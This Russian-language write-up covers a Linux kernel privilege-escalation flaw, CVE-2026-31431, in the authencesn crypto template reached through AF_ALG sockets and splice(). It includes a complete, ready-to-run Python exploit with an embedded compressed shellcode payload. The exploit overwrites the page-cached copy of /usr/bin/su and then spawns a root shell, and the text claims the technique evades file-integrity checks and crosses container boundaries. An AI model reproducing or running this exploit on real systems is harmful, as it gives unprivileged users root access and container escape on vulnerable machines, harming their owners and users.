
Локальный эксплойт для повышения привилегий через CVE-2026-31431, повреждающий setuid-бинарники в page cache с помощью AF_ALG и splice для получения root-оболочки.
Логическая ошибка в шаблоне AEAD
authencesnядра Linux позволяет непривилегированному пользователю записать 4 управляемых байта в кэш страниц любого читаемого файла.
Предоставленный скрипт Python повреждает
/usr/bin/suв памяти и порождает root-оболочку.
CVE-2026-31431 — это уязвимость в криптографической подсистеме ядра Linux, а именно в шаблоне authencesn (AEAD с расширенным номером последовательности) в сочетании с интерфейсом сокетов AF_ALG и системным вызовом splice().
Корневая причина: Процедура расшифровки authencesn использует список рассеивания назначения в качестве временного пространства, записывая 4 байта за пределы легитимной области вывода.
Когда AF_ALG выполняет операцию AEAD на месте, а splice() предоставляет страницы кэша страниц (например, от setuid-бинаря) в качестве тега аутентификации, запись за границы попадает непосредственно в кэшированную ядром копию этого файла.
Эффект: Непривилегированный локальный злоумышленник может перезаписать любую 4-байтовую выровненную позицию в любом файле, который он может читать. Повреждение происходит только в кэше страниц; файл на диске остаётся неизменным, что обходит проверки целостности файлов.
Воздействие: Перезаписав setuid-бинарный файл (например, /usr/bin/su) шеллкодом, злоумышленник может выполнить бинарный файл и получить root-оболочку. Тот же примитив работает в разных контейнерах, поскольку кэш страниц является общим с хостом.
exploi-copyfail.py)Эксплойт — это единственный скрипт Python размером 732 байта, использующий только стандартную библиотеку (os, socket, zlib). Он работает на любом дистрибутиве Linux с версиями ядра с 2017 по 2026 год (до патча).
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
Настройка: Открывается сокет AF_ALG, привязанный к authencesn(hmac(sha256),cbc(aes)), устанавливается фиктивный ключ и принимается запрос.
Полезная нагрузка: Шеллкод (распакованный из шестнадцатеричного блоба) разбивается на фрагменты по 4 байта.
Цикл повреждения: Для каждого фрагмента:
sendmsg() предоставляет ассоциированные аутентифицированные данные (AAD). Байты 4–7 AAD содержат 4 байта, которые необходимо записать.
splice() вставляет фрагмент /usr/bin/su (целевого setuid-бинарного файла) в список рассеивания TX сокета. Смещение и длина выбираются так, чтобы область тега аутентификации располагалась по целевому адресу внутри секции .text бинарного файла.
recv() запускает расшифровку AEAD, authencesn записывает 4-байтовый фрагмент в кэш страниц /usr/bin/su. HMAC не проходит, но запись сохраняется.
Выполнение: После записи всех фрагментов скрипт выполняет su. Поскольку кэшированная версия теперь содержит шеллкод, su выполняется с root-привилегиями и открывает оболочку.